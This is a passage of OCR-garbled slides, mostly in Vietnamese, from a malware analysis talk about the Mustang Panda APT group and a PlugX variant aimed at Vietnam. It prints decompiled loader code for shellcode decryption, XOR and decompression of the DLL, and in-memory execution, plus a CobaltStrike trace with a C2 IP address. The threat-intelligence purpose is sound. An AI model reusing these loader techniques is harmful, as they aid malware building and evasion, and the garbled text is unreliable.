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Security researcher @kienbi Immy analyses a
CobaltStrike loader and shellcode

;kernel32.LoadLibraryA
Arg[6] = ptr 0x060660600014FF10 ~> "wininet"

D6t ;mininet . InternetOpend
26ci ;wininet. InternetConnectA
Arg[6] = ptr 9;99000»009 c0084 —> {\xB0\x06\x08\x08\x00\x00\x08\x80}
! *213.152.165.36" |
Arg[2] = 6x00060000600001bb = G443
Arg[3] = @
Arg[u] = &
Arg(S) = 9x0606000060009663 =
Arg[6] = 8
Arg(7] = 0

20cl ;wininet . HttpOpenRequestA
Arg(e] = ptr 6x0068080000cc8903 {\x00\x08\x06\ x00\x00\x00\x06\x88}
Ag(1] = &
|Arg(2] »pg_r 6x86660601406021a9 */jquery-3.3.2.slia.nin. js*
[
e
-]
OxFFFFFFFFBUCE3200 = 1BU4ETUNOTIBNITT25u
8

Cyber Security Services

.InternetSetOptionA
.HttpSendRequestA
= ptr 6x0060000006ccB98c > {\x00\x06\x06\x00\x00\x00\x06\x00}
= ptr 0x00000001486021F9 -> "Accept: text/htal,application/xhtmléxaml,application/xnl;q=0.9,+/*;q=0.8
Accept-Language: en-US,en;q#8.5
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
ser-Agent: Mozilla/5.8 (Windows NT 6.3; Trident/7.6; rv:11.8) like Gecko

Arg(2] OXFEFFFFEFFFFFFFFF 18446TUNET3TE0551615
Arg(3] = @
Arg(u] = ptr 8x00000001480021F9 —> "Accept: text/htal,application/xhtal+xml,application/xml;q=0.9, +/%;q=6.8
Accept-Language: en-US,en;q#8.5
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
ser-Agent: Mozilla/5.8 (Windows NT 6.3; Trident/7.8; rv:11.8) like Gecko
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Agenda

1. Asian APT Groups connections
2. Mustang Panda Group

3. Samples have targeted Viet Nam
1. Unknown PlugX variant
2. THOR PlugX variant T

4. 0ther campaigns relate to events in  Europe,
invasion of Ukraine. L
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Asian APT Groups connections
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ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

09/09/2022 “Mustang Panda” - Enemy at the gate



Mustang Panda Group (1)

hreat Group Cards: A Threat Actor Encyclopedia

& APT group: Mustang Panda, Bronze President

Mames

HoneyMyte (& <
Red Lich (e

Count Chi
ountry China

Sponsor State-sponsored

Motivation Information theft and espionag

First seen 2014

Description
XUs t ot s, techniques, and
procedures ( ). er; overnmental organization 0s) in general, but uses Mongolian language
decoys and themes: gesting actor has ecific focus on gathering intelligence on Mongolia. These campaigns involve
the use of shared malware like Poison vy or Plugx.

Recently, Falcon Intelligence observed new activity from Mustang Panda, using a unique infection chain to target likely
Mongolia-based victi iz newly observed activi ries of redirections and filel malicious implementations of
) the targeted systems. Additionally, Mustang Panda actors reused previously-observed

Observed
ng, India, Indc , Mongalia,
n, UK, U etnam and UN.

v, PVE Find
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Mustang Panda Group (2)

Operations performed 2014 Securew
but i

Aug 2019

om/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-
n:17:14:00

Mar 2 Vietnamese cyber-security firm VinCSS detected a Chinese state-sponsored hacking group (codenamed Mustang
Panda) spreading emails with a RAR file attachment purporting to carry a message about the coronavirus outbreak

from the Vietnamese Prime Mi ;
3/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-

cua thu-tunr{g-P-Jguyer1-:-.u-:|r1-Phuc.html::=-
iqai Sa aruj Mustang Panda Advanced Persistent Threat (APT) groups have been utilizing

gns
vid-19-themes-are-being-utilized-by-threat-actors-of-varying-

identified 'rha'r the H

Mar
pected-chinese-hack/>

Aug 2021 M 1 )d tri e q nt
m ng-panda-hodur-old-tricks-new-korplug-variant/=

with lures related to the

roup/update-threat-landscape-ukraine/>

Mar 2 th Updated Pl
onze-president- ’r-:tqn:t_-rl n-speakers-with-updated-plugsxc
Information <https -adversary-of-the-month-for-june-mustang-panda/>
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Samples have
targeted Viet
Nam -

Our analysis

Unknown PlugX variant

- Threat hunting I
-Phan tich Ing dﬂ —
-Phian #ich shtﬂeodt =
-Phan tich PlugX P 2=

o — —
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Threat hunting

» Cudi thdng 04/2022, qua hogt déng Threat ~hunting trén
VirusTotal, phdat hién cdc méu dugc tdai lén tu Viét Nam.

- Thoi diém nday, nghi ngd cé 1lién quan tdéi nhoém

FILES 5/5

A66C2561CE1B9E827CRTCAEAB8AF EQEE3EFDE2E3CC2110178C9R7A

log.dll
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Execution flow

e _ loads and decrypts .
loads malicious DLL: q encrypted payload in memory > D A T

L

log|dat
DL loader Encryptedql payload

[ eqgitimate executable (ex: bdreinit exe, ) loa.dil

executes decrypted payload i
in memory decrypled in memory

> RN

i

Decr}-;c:te‘J payload

connects to attacker's C&C
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Analyze log.dll

° Sample hash: 3171285c42846368937968b£53bc48ae5c980e32b0dETOCTOPP6h9122576 4e

« Pugc tai 1lén tu Viét Nam, tholi gian 2022-04-25
14:04:36 UTC

- Tén: . A1l d6é dang x0 1y su c6?

Submissions

Date

2022-04-25 14:04:36 UTC

Submissions Per Country Submissions Per Date Prevalence Summary
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https://www.virustotal.com/gui/file/3171285c4a846368937968bf53bc48ae5c980fe32b0de10cf0226b9122576f4e/detection

Static Properties Analysis

« File dugc bién dich bang Visual Studio 2012/2013

- Théong tin sections cho thay nd cé thé bi packed hodc code
bl obfuscated.

- Tén gbc 1jAt.dll. Export 02 ham LogFree va :

Mr Virtual offset  Virtual size RAW Data offset RA Flags Mame First bytes ¢} First Ascii 20h bytes  sect. Stats

01 ep 00001000 000577Ce 00057800 60000020  .text 5553575683 ... USwv 0 ODO1 D... Strong Packed - 2.2743 % ZERO
02 im 00059000 000046F4 4000004 .rdata 20D2050034... O40FOTO.. Verynot packed - 43.6306 %

03 ! 0 ! 40 .data 4EE640BBBl.. W@ OD ... Very not packed - 64.3

04 00061000 00000ED4 0 4200004 .reloc ooi1000000C.. O » DOoOo .. Mot packed

product-is build-id (4}

Wisual Studio
Visual Studic
Visual Studi
Visual Studi
Visual Studic :
Name Value Meaning

. P ..
sual Studio Characteristics
Visual Studio 2013 Lo C

Visual Studio 20

Ljat.dll

unctions
OfNames
FlameOrdinals

| =4
o
=]
—_
=
=
|
o
(=]
_'I
[ ]
]
-
o
[
7
o
o
2
4
o
o
™
=
(o)

Exported Functions [ 2 entries ]
Offset Ordinal Function RVA MName RVA Hame Ferwarder

5D LogFree

LogInit

09/09/2022
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Code Reversing

2

- Ham LogFree: obfuscated hoan toan bang Obfuscater=LLVM, s
dung ki thuat Control Flow Flattening

« Khong thuc hién nhiém vu gi.

09/09/2022 “Mustang Panda” - Enemy at the gate

® 591 LOBYTE(v142) = (v167 & v159 | (vi67 » 1) & (v159 » 1)) & (v159 * 1) & (vie7 » 1 * v
® 592 LOBYTE(v167) = viu2 & (viu2 » BYTEL(v159) ~ 1 ~ 1) » (viu2 | BYTE1(v159) » 1) ~ 1 |
@ 593| BYTE1(v1s7) = ((BYTE1(v167) & BYTE1(vied) | BYTE1(vieu) "~ BYTE1(v1ie7)) ~ 1) & vieud
@ 594 BYTE1(v1e7) = (BYTE1(v167) ~ 1) & BYTE1(v1e7) & (BYTE1(vie7) ~ 1) | BYTE1(v1ie7) " 1
® 595 LOBYTE(v164) = BYTE1(v167) & (BYTE1(v1ie7) ~ 1) * 1;
® 596 result = (vied " BYTE1(v1e7) | (BYTE1(vie7) | vies) ~ 1) & ((vie7 & (vie7 " 1) & (v
® 597| v170 = BYTE1(v167) " v167 | (vi67 | BYTEL(v167)) * 1;
® 598 tmpl = ©x7B12972D; _
® 599 if ( (result " vi78) & 1) i
608| { L
® 601 tmpl = @xATF2F9AEB; -
602 }
® 603 vi6es = (vi70 & 1) = 6;
® 60u| control_var = OxDC1OCIEA;
® 605 if ( 'vies )
606
@® 607 tmp2 = tmpl;
608 1 -
® 609 if ( !(result & 1) ) =
610 -
® 611 tmp2 = tmpl; n
612| }
613| dc =
61d| -
615|LABEL _7:
® 616 i+ ( EONtrollvar = 0x572B270E )
617 {
® c18 goto LABEL_11;
619 3}
620|LABEL_8:
® 521 hile ( gcontrol_var =— ©x572B276F )
622 {
® 623 control_var = tmp2;
® 62U if ( tmp2 = @x572B276E )
625

12


https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html
https://github.com/obfuscator-llvm/obfuscator/wiki/Control-Flow-Flattening

Code Reversing

\ . \ °
.

* Ham : go1 ham LogInit_0
i = 1|// attributes: thunk
.text:1004ESE® ; Exported entry 2. LogInit 2lvoid __stdecall LogInit()
.text:1004ESER 3/

.text:100UESEQ ey Loginite0);
.text:100UESE@ ; Attributes: thunk ® 5]}
.text:10BUESER

.text:10OUESE® ; wvoid __stdcall LogInit()

.text:100UESE® public LogInit

.text:1004ESE® Loglinit proc near

.text:106UESE® ; DATA XREF: .rdata:off_16085D8B84o0

_text:10BUESE® jmp ; TAGS: ['Enum', 'FileWIN']

.text:100UESE® Loglnit endp

.text:106UESES

09/09/2022

us67
U968
1969
us70e
ug71
4972
us73
ug7y
4975
us76
ug77
4978
us79
ugse
4981
uss2
U983
ugsy
usss
U986
4987
usss
CEL)
4998
4991
1992
4993
usay
1995
1996
us97
ug98
4999
5000
5081

v200
v201
v2e2
v203
v2ed
v205
v206
read_

v196 * v199 * Bx77D9D620;

~v196 & (v199 " 8x882629DF) | (v199 " B8x77D9D628) & v196;

(~((v199 » @x77D9D620) & v200) & OxF52380E | (v199 * @x77D9D620) & v200 &
v282 & (v282 * Bx89826167) & ~v202 & Ox89826167 | ~v202 & Bx89826167 * w20
v283;

~y203 & BxA13DB1ED;

= (~v283 & BxA21DUCC | w283 & BxFSDE2B33) * BxFSDE2B33;

content_status = (v286 & ((v285 | v204 & BXS5EC2FE1D) " BxX5EC2FE1D) | (v285 |

control var = ©xD9DDD68D;

vu706
vu787

{
LABEL_1
whi

{

¥
{

= read_content_status;
= dword_18@5FE7U < BxA;

7:

le ( [COMEFOUNEE = (int)exC28CF813 )

( control_war > (int)exA34633B6 )

( control_var = ©xA3U633B7 )
{
control var = @x70D8932E;
LABEL_3;
}

(*decrypted_shellcode)()
control_var = ©x8980A65F;

// exec decrypted shell

( control_wvar — 0x898B8A65F )

(*decrypted_shellcode)()
v2u89 = dword_1885FE78 * (dword_1885FE78 - 1)

// exec decrypted shell

v2490 ~v2U89;
v2491 = v2489 & ((dword_10865FE78 = (dword_1@85FE78 - 1)) * ©x25U438972)
V2492 = ~(v2491 & ~v2U89 & Bx25430972 | ~v2489 & Bx25438972 " v2U91) & BX




Code Reversing

* Ham LogInit_O: goi ham
f_read_content_of_log_dat_file_to_buf dé doc ndéi dung cula
file log.dat va thuc thi shellcode sau giai ma.

public LogIr

proc near
; DATA XREF: .rdata:off_1005DOB8+0

jmp MEISHNRERENE ; TAGS: ['Enum', '"FileWIN']

endp

23 calls, 1 strings

calls: “o
call dword ptr[eax] - B —

call ds:CloseHandle ; call CloseHandle ) —_—
call ds:CreateFiledA ; call CreateFileA to open file
call ds:ReadFile ; call ReadFile to read file content
call strncmp ; call _strncmp to compare string

. Icall dword ptrl[eax] ; exec decrypted payload/shellcode
call ds:CloseHandle ; call CloseHandle

call ds:DeleteFileA ; call DeleteFileA L F o A—— -
call ds:CloseHandle ; call CloseHandle a :“' B
call ds:DeleteFileA ; call DeleteFileA i;:?ﬁ*"‘1

. Icall ; call -F_r'ead_content_o-F_lug_dat_-FileI . . ——— =

call ds:GetModuleHandleA ; call GetModuleHandLeA Lo retrieve Rernels32.dLL handLle o SRR peepma——
call ds:GetProcAddress ; retrieve api address ,3~-‘ —
call eax ; call API func >
call ds:ExpandEnvironmentStringsA ; call ExpandEnvironmentStringsA

call ds:CreateFiledA ; call CreateFileA for retrieving handle to create tmp file
call _strlen ; call _strlen

call ds:WriteFile ; call WriteFile to write content to file

call ds:ExpandEnvironmentStringsA ; call ExpandEnvironmentStringsA

call ds:CreateFileA ; call CreateFileA

call _strlen ; call _strlen

call ds:WriteFile ; call WriteFile

call __security_check_cookie(x)

09/09/2022 14
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Code Reversing

e Ham

obfuscated hoan toan.

!

09/09/2022
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6914
6915
6916
6917
6918
6919
6920
6921
6922
6923
6924
6925
6926
6927
6928
6929
6930
6931
6932
6933
693U
6935
6936
6937
6938
6939
6940
69uU1
69U2
69U3
69U
69U5
69U6
69U7
69U8

LABEL _17:

f_read_content_of_log_dat_file_to_buf

cung

if ( control_var = 0Ox2BE893A )

{

-

}
_ = GetModuleHandleW(wszKernel32);

UE1E]

log_dat_content_1d =

v506

v5e7 =
V508 =
vie9 =

v510 =

v511
v512
v513
v51l4d
v315
v516

v517 =
v518 =
v319 =

v320
v521
v522
v523
v524
v325
v326
v527
v528

LABEL_18;

dword_1005FEA8 * (dword_1@05FEAS - 1);

~y585;

((dword_1885FEA8 * (dword_1@O5FEA8 - 1)) & Bx2EUD8691 | ~v505 & O%D1B2796E
(((~v586 & ©x2T7UBCCO | v506 & OXFDSBU33F) * 0x103800) & ©xuUC98311E | ((~vs
~y585 | (~v585 & BxABDTBOFE | (dword_l1865FEA8 * (dword_1G@85FEAS - 1)) & ox
v587 & @x73D69BDS | ~v507 & Ox8C296U2A;

((vs508 | v507) & ©x37D7B6D2 | ~(v508 | v507) & ©xC828492D) * (~(v509 " (v5
v518 & (v510 * 8x66DBDA28) & ~v510 & Bx66DEDA28 | ~v510 & Ox68DEDE28 ~ v51
~y511 & Ox59FABU9O | v511 & BxA605UB6F ;

~y512 & v512 & ~vy512 | ~v512 " ~y512 & v512;

~y513;

v513 & Ox1UB68UUF & v514 & (v513 " OxEBU97BBE) | v51u & (v513 ~ OXEBU9TBBE
(~v515 & Bx269B3EUC | v515 & ©xD96UCIB3) * 8xCDD2U5FD;

~(v514 & OXFFFFFFFE | v513 * 1) & v516 | v516 * ~(v514 & BXFFFFFFFE | w513
v517 & (v517 ~ Ox2DABBUAF) & ~v517 & Bx2DAGBUAF | ~v517 & Ox2DAGBUAF "~ v51
v505 & ((dword_10@5FEA8 * (dword_10@5FEA8 - 1)) " @x11D5B7DC);

~(~v518 & OxD25FUB50 | v518 & ©x2DABBUAF) & 0x6A99A520 | (~v518 & OXD25FUE
(v520 " ©x2218A500) & OxA25EEF51 | (v520 " ©x1520108E) & ©x5DA11GAE;

(v521 " ©xDO1160E) & OxB8FUF528F | (w521 " ©x2010AD58) & OxTOEBADFO;

~(v519 & ~v585 & B©x11D5B7DC | ~v505 & ©x11DSB7DC " w519) & ©x7DD57966 | (v
(v523 ~ @x93FF3145) & OXFFFFFFFE;

(v523 " ©x6CEBCEBA) & OXFFFFFFFE | (v523 ™ 8x93FF3145) & 1;

v525 & vd24;

v524 " w525,

v522 " Bx8FUF520F;

Enemy at the gate
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Code Reversing

 Nhiém vu cua f_read_content_of_log_dat_file_to_buf:
— Goi ham GetModuleHandleW: 14y handle cua
— Goi ham GetProcAddress: 14y dia chi «cla cac ham APIs goém

4 4 4 e

— Poc ndi dung cla log.dat vao ving nhd cip phat.

call f vead content_of log dat fiile to buf =Y NE A -1 BT 1o -1y ey A AT "lebi‘ controL_var = ux/A7LAZAL;

mov ecx, [ebnidacruntad challeadal ® 11663 if ( read_content_status ) -
toest eax, eayld calls, @ strings )
mov edx,

mov [ecx], gcalls:

mov eax, call ds:GetModuleHandleW ; call GetModuleHandleW to retrieve handle of kernel32.dll

cmovz  eax, eds call ds:GetProcAddress ; retrieve VirtualAlloc addr

cmp eax, OEH call ds:GetProcAddress ; retr%eve GetHndu}eFileNameA ”
jg loc_1603 call ds:GetProcAddress ; retrieve CreateFileA addr

call ds:GetProcAddress ; retrieve ReadFile addr

call [esp+lFCh+GetModuleFileNameA] ; call GetModuleFileNameA to retrieve full path of module that load malware dll
call f_strstr ; Returns a pointer to the first occurrence of a search string in a string.
call eax ; call CreateFileA for open file but not retrieve file handle

call ds:CloseHandle ; call CloseHandle to release handle to log.dat file

call eax ; call ReadFile for reading log.dat content to allocated buffer

call eax ; call CreateFileA to retrieve handle to log.dat file

call ds:GetFileSize ; call GetFileSize to retrieve size of log.dat

call eax ; call VirtualAlloc to allocate buffer with buf's size equal size of log.dat
call ds:lstrcatA ; call lstrcatA to build full path to log.dat

call __security_check_cookie(x)
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Code Reversing

 Nhiém vu cua f_read_content_of_log_dat_file_to_buf:
— Thyc hién giai ma ndéi dung cua log.dat thanh shellcode.
— Shellcode sau giai ma dugc thuc thi tu ham LogInit_0.

« Tao thi file log.dat dé kiém tra.

18020974 met ® 13803 LOBYTE(vu4939) = vu939 & BYTE1(vu939) | BYTE1(v4939) * vu939;

1002097€ mov  edx, ecx @ 13804 BYTE1(v5065) = ~(_BYTE)vV5064 & OX1A;

B —TE ® 13805 BYTE1(v4939) = ((v5065 & 8x79 | ~(_BYTE)v5065 & 0x86) " 0x86) & ((v5065 & 0O

;10020984 mov  al, ah ® 13806 LOBYTE(v3530) = v5064;

e, andanee ® 13807 LOBYTE(v5864) = ~BYTE1(v5864) | v586U;

10020984 or  cl, al ® 13308 BYTE1(vSe64) = (v3530 & ©xu45 | BYTE1(v5065)) * (~BYTE1(v5064) & ©xu5 | BYTE]

i il el ® 13809 BYTE1(v5065) = (~BYTE1(v4939) & 6x8E | BYTEL(v4939) & 0x71) » (~(~(_BYTE)v5

pe— S Lo ® 13810 BYTE1(v5865) = BYTE1(v5065) & ~(BYTE1(v5@64) | ~(_BYTE)vSes4) | (BYTE1(v5e6HY

10020994 not  al ® 13811 LOBYTE(v5665) = ~BYTE1(v5865);

isaz09ss and  ah, Ssh ® 13812 logldaticontent [idx] = ((v5065 | vu939) & Ox55 | ~(v5065 | vu939) & OXAA)

:1882099¢ or dL, ah ® 13813 V5486 = idx + 1;

S ST, @ 13814 control_var_1 = @X92E699EC;

:1882D9A2 not ah 13815 }

eaamane e 13816 ( control_var_1 = 0x92E699EC )

118820949 or al, ah 13817 {

oaa0ea0 e o w ® 13818 vi4341 = ~(dword_1005FES0 * (dword_1805FES8® - 1));

—— T — ® 13819 v5310 = dword_1865FE8® * (dword_1085FE8® - 1);

: 10020984 mov  vax, [esptirentidx] ® 13820 va3u2 = (vu3ul & ©x3A211E62 | (dword_1665FE86 * (dword_10@5FE88 — 1)) & BxCH
. e Y e £ e ® 13821 va3u3 = ((~v4342 & BXTOFA9A28 | v4342 & Bx8FE565DF) * ©x15887881) & BX1D89IF(
“text:108209¢8 mov  eax, S2E699ECH ® 13822 va3uy = (vu3u3 * ©x17F8289E) & (vu43u3 ~ BXE27683EL);
tant 2002090 fe  Loc 1002507 ® 13823 va3us = ~vid3dd;

T ® 13824 va3u6 = (((vu341 & ©x7356D728 | (dword_186SFE8O * (dword_1B805FESE - 1)) & O
e | ® 13825 vu3u7 = ((vd3u6 | vu3us) & 0xBe2831F1 | ~(vu3ué | vu3u5) & OxUFD7CEGE) * (~
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Analyze shellcode

« Hunting file log.dat trén VT véi pham vi gidi han nguén-submit tu Viét
Nam.

 Chon log.dat
(2de77804e2bd9b843a826£194389c2605cfcl17fd2fafdelb8eb2£819fc6c0c84 ) dudgc

tai 1én 2022-04-20 12:33:19 UTC (trudc 5 ngay so vdi file log.dll)
_ b4

/N 90 days N

09/09/2022 0+ + 18



https://www.virustotal.com/gui/file/2de77804e2bd9b843a826f194389c2605cfc17fd2fafde1b8eb2f819fc6c0c84/detection

Dump decrypted shellcode

 Debug va dump shellcode da giai ma:

8] leg_dat_sc.bin

in

dnmmm

09/09/2022 “Mustang Panda” - Enemy at the gate
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Shellcode execution flow

- Két qud cla hai cdédng cu FLOSS va scdbg

FLOSS static Unicode strings

<.
. Loaded 38aa8 bytes from file C:\Users\ADMINI~1\Desktop Y
FLOSS decoded 2 strings Memory monitor enabled.. log_d
{:EM Initialization Complete.. 0
&EAA Dump mode Active... d Jade L nlimi s [ Find3e

Max Steps: -1
Using base offset: @x401008

FLOSS extracted & stackstrings

= = 430e80 GetProcAddress(LoadlLibrarya)
VirtualProtect 438fb2 GetProcAddress(Virtualalloc)
virtualalloc 431@ca GetProcAddress(VirtualFree)

. 431145 GetProcAddress(VirtualProtect)
Ex1 tThread 43124f GetProcAddress(ExitThread)
memcpy 43128a LoadlLibraryA{ntdll)
ntdll 4313f3 GetProcAddress(RtlDecompressBuffer)

] 431436 GetProcAddress({memcpy)

L'?adLW braryA 4314dc  VirtualAlloc(base-@ , sz-2e552) - 600000
virtualFree 43154d VirtwalAlloc{base=e , sz=4c8e8) = 62feee
Rt'l DECDH][JFESSBU'F'FEF 431592 RtlDecompressBu-F-Fer{-FnEt=2,Libu-F=62-FEiEia, SZ=4C

eax=e ecx=4C008 edx=6210080 ebx=0
esp=12fep4 ebp=12fffe esi=B edi=8

Stepcount 2859730

Primary memory: Reading @x30aa8 bytes from ex401800
Scanning for changes...

No changes found in primary memory, dump not created.
Dumping 2 runtime memory allocations..

Alloc 600800 (2e552 bytes) dumped successfully to disk
el el

Al T ne AR2FA0GG {Aratn hutec) dumned conrracefinl v +n Aick
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Code re

versing

 Shellcode thuc hién giai nén ra

* Goi t81i ham dudc export cla D11 nay dé

thuc thi.

.text:
Ltext:
Ltext:
.text:
Ltext:
.text:
Ltext:
Ltext:
.text:
Ltext:
.text:
Ltext:

09/09/2022

BOU31AEL ; int __usercall sub_u3lAEd@<eax>(int al@<eax>) 1

00U31AEY sub_u31AEY proc near ; CODE XREF: sub_u@3575+18tp 2lint __usercall sub_u31AEd@<eax>(int al@<eax>)
00U31AEY push ; shellcode size 3/{

BOU31AE9 push eax ; ptr_call_addr Ul _DWORD *v2; [esp-18h] [ebp-16h]

00U31AEA rol si, 26h 5 int v3; [esp-Ch] [ebp—Ch]

BOU31AEE ste 6| int wvu; [esp-8h] [ebp-8h]

OOU31AEF stc 7| int v5; [esp-t4h] [ebp-4h]

0BU31AFE test ah, ah 8

BOU31AF2 call Load_d B NENOLY] ® 9| rciurn Flload dil from memory(al, ©x30AA8, ., o, v, U0);
0OU31AFT retn ® 10}

BBU31AFT sub_u31AEY 21 calls, @ strings

BOU31AFT7

calls:

call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call
call

[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+LoadLibraryA]
[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+VirtualAlloc]
[ebp+virtualAlloc]
[ebp+RtlDecompressBuffer]
[ebp+VirtualAlloc]
[ebp+memcpy]
[ebp+LoadLibraryA]
[ebp+GetProcAddress]
[ebp+GetProcAddress]
[ebp+VirtualProtect]

ecx ; call to DLLEntryPoint
[ebp+exported_func] ; call to PlugX exported function
[ebp+VirtualFree]
[ebp+VirtualFree]

“Mustang Panda” - Enemy at the gate
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Stack strings technique

« Ap dung ki thudt stackstring, shellcode~cau than

tén cac ham APIs

“Text:@BU3IEDS i
.text:8BUIIETS Lloc_431E99: ; CODE XREF: f_load_dllL_from_nemory+3954j ® 117 return 2;
.text:@BU31E?9 mov [ebp+var_u], & 118 "LOaC'Libl‘al‘ A" s SiZQ: 13
_text:@BUI1EAE mov edx, [ebp+var_u] // y N { ) "
.text:9BUI1EAS mov [ebp+edx+ EENINEUSUNIIGE], 'V ; virtualallec ® 119 strecpy(szLoadlLibraryA, "LoadLibraryA");
Stext:9BU3I1EAB mav eax, [ebp+var_u] [} = Aaxp-
.text:8BU31EAE add eax, 1 120 V71 _0 D; .
_text :@BU31EBL mov [ebp+var_u], eax ® 121| LoadLibraryA = GetProcAddress(kernel32_base_addr, szLoadLibraryA);
text:8BUIIEBY mov ecx, [ebp+var_u] : £
.text:@BUILERT mav [ebp+ecx+ EENIPEUSINEIOE], ‘i :122 if ( .'LoadleraryA )
. text:BBU31EBF mov edx, [ebp+var_u] 123 return 3;
. : d edx, 1 . N .
‘;::223:21522 :z\, [ebpvar_u], edx 124 // "virtualAlloc" —= (size: 13)
.text:0BUILECE mov eax, [ebpwa;i:] - ® 125| strcpy "VirtualAlloc" ;
.text:@BUILECE ebp+eax+EE '
text-9o031m3 nov -[ecfl.)+[s.‘-:::-m:- ”;n s ® 126| v71 = exD;
-text :9B431EDS add ecx, 1 ® 127| virtualAlloc = GetProcAddress(kernel32_base_addr, szVWirtualAlloc); i
.text:@BU31EDS mov [ebp+var_4], ecx . . -
_text:BBUI1EDC mov edx, [ebp+var_u] ® 128 if ( !'virtualAlloc )
Jtext:BBUILEDF mav [ebp+edx+ EENITEUSLNELGE], 't . —
.text:eBu31EET mov eax, [ebp+var_u] ® 129 I‘@tl:LI‘n 4 . r
.text:0Bu31EEA add eax, 1 138| // "VirtualFree" = (size: 12)
_text:8BU31EED [ebp+var_4], eax . . Y.
o enioiere v cer Lobpeunr 4] : 131| strcpy(szvirtualFree, "VirtualFree");
ctext:@BU31EF3 mov [ebp+ec«+SENIREUSIAREEE], ' u 132 V71l = @xC:
.text:0BUI1EFE nov edx, [ebp+var_d] X ! X
\text:BBU3L1EFE add edx, 1 ® 133| VirtualFree = GetProcAddress(kernel32_base_addr, szVirtualFree);
_text:@BU31FAL mov [ebp+var_u], edx ® 134 if ( yirtualFree ) .
_text:eBUI1FAU mov eax, [ebp+var_u] - -
.text :0BU31FOT mov [ebp+eax+ EEVIFEUSUNINEE], 'a ® 135 return 5; -
-text:8BU31FEF mav ecx, [ebp+var_u] 136 // "WirtualProtect" - {SiZE: 15)
.text:8BU31F12 add ecx, 1 . .
.text:0BU3IF1S mov [ebp+var_u], ecx ® 137| strcpy(szVirtualProtect, "virtualProtect");
.text:@BU31F18 mov edx, [ebp+var_u] s - 2 . =
ot oBuIIFi oy Tebpred. NSEIN. 1 ® 138 \fflrtuall?rotect = GetProcAddress(kernel32_base_addr, szVirtualProtect); )
.text:0BU31F23 mov eax, [ebp+var_u] ® 139| if ( !VirtualProtect ) i
.text:8BUIIF26 add eax, 1
' ® 140 return 6;
.text:@BU3IF29 mow [ebp+var_4], eax [
extionsirac e ebpaiaed] — 141| // "ExitThread" - (size: 11) -
Stext:eeu3l maov ebprecx+§ ua’ g1, 'a . . n
Stext:BBU31F3T mav edx, [ebp+var_u] ® 142 strcpy(szEXJtThread, "E)(1tTh1‘ead"); Loadleralyn
.text:8BUIIF3A add edx, 1 ™Y = OXB- Iy
Jtext:@BU3IIFID mov [ebptvar_u], edx 1us \fr}l e B' . VirtualAlloc
_text:0BUIIFUE mov eax, [ebp+var_u] ® 144| if ( !GetProcAddress(kernel32_base_addr, szExitThread) ) VirtualfFr
Stext:@BUILIFU3 mav [ebp+eax+EENIPEUSINEIGE], ‘1 ® 1u5 return 6: irtua ree
.text:08U31FUB mov ecx, [ebpvar_u] ! . 3
. text:8BUI1FUE add ecx, 1 146| // "ntdll" - (size: 6) VirtualProtect
Jtext:@BUY31FS1 mov [ebp+var_4], ec R .
_text:@BUI1FSU mov I:-CII, [ebpﬂ-a:‘_d]‘ ® 147 strcpy(szntdLL, "ntd]_“l‘")l ExitThread
.text:@BU3LFST mav [ebp+ed «+ SR PEUSUNITGE], 1 ® 148| ntdll_handle = LoadLibraryA(szntdll);
-text:8BU31FSF mov  eax, [ebp+var_d] ° . . RtlDecompressBuffer
_text:BBU3IF62 add eax, 1 149| if ( !ntdll_handle )
_text:BBUIIFES mov [ebp+var_4], eax ® 150 return 7; memcpy
.text:@BU31FEE mov ecx, [ebp+var_u] N N . N .
.text :8BU31FEE mov  byte ptr [ebprecx-10at], ‘o 151| // "RtlDecompressBuffer" -> (size: 28)
09/09/2022] tot seinere mov. edns [ebprvar.d] ® 152| strcpy(szRtlDecompressBuffer, "RtlDecompressBuffer"); 22
.text:BBUIIFTE add edx, 1 -~ - =
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Decompress the final D11

« Goi ham RtlDecompressBuffer dé gidi nén ra payload cudi la
mot D11.

signature = *ptr_enc_compressed_dl1l_addr; // ptr_enc_compressed_dll_addr = 8x1592 (offset on disk)
// signature = @xC7EA9B1C
xor_key = signature - Bx7979A9AA; // xor_key = @xUETOF172

// dd eB598E96Eh
// dd OCTEASBICh - signature
// dd eeeuceeeh -> uncompressed_size
// dd 2E5u42h - compressed_size;
for ((J =0; j<0x10; +j )
config_info_buf[j] = xor_key * ptr_enc_compressed_dll_addr[j];// xor_key = @x72
if ( signature = computed_signature )
return BxA; B SR ESEIEmITE .
dwSize = computed_compressed_size + 0x18; // dwsSize = @x2E552 *-__ p————
compressed_buf = VirtualAlloc(@, computed_compressed_size + 8x18, . ); s
if ( 'compressed_buf )
return 8xB;
xor_key = signature - OxT7979A9AA;
// fill compressed buffer ==
for ( k = ©; k < duSize; +k ) . =3 .
*(&compressed_buf->decoded_buffer + k) = xor_key " ptr_enc_compressed_dll_addr[k];
7/ UNcompressed_buf_size = OXLLOOO

— —
— e ——

uncompressed_buf = VirtualAlloc(®, uncompressed_buf_size, . ); —
if ( tuncompressed_buf ) o —
return BxC; g——— e
final_uncompressed_size = @; .’_‘"E'.' . s =
decompress dll pavload to memory s
"~ iioscompresssurtert
) T
uncompressed_buf,
uncompressed_buf_size, // exuceee .
Scompressed_buf-»compressed_buf,
compressed_buf->compressed_size, /I @x2E5U2
&final_uncompressed_size) )
1
return exD;
09/09/2022 ) 23
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Execute D11 from memory

vung nhd mdi.

cua ma doc
plugx_decrypted_dll = plugx_mapped_dl1;
// 0070000 00 0@ 90 0@ 29 @@ 6C @2 A8 BA @3 @@ 92 15 6C 82 ....).L."...".1l.
// BE7EE1e 52 E5 82 00 69 66 6C A2 OC 15 60 GO 6O 66 08 88 Ra..i.l.........
plugx_mapped_dll->signature = 8;
plugx_decrypted_dll-ptr_shellcode_base = ptr_call_addr; // 00482029 E2 06 G0 08 00
plugx_decrypted_dll-+shellcode_size = end_sc_offset;
plugx_decrypted_dll—ptr_encrypted_PlugX = ptr_enc_compressed_dll_addr; // e04@3592 1C 9B ....
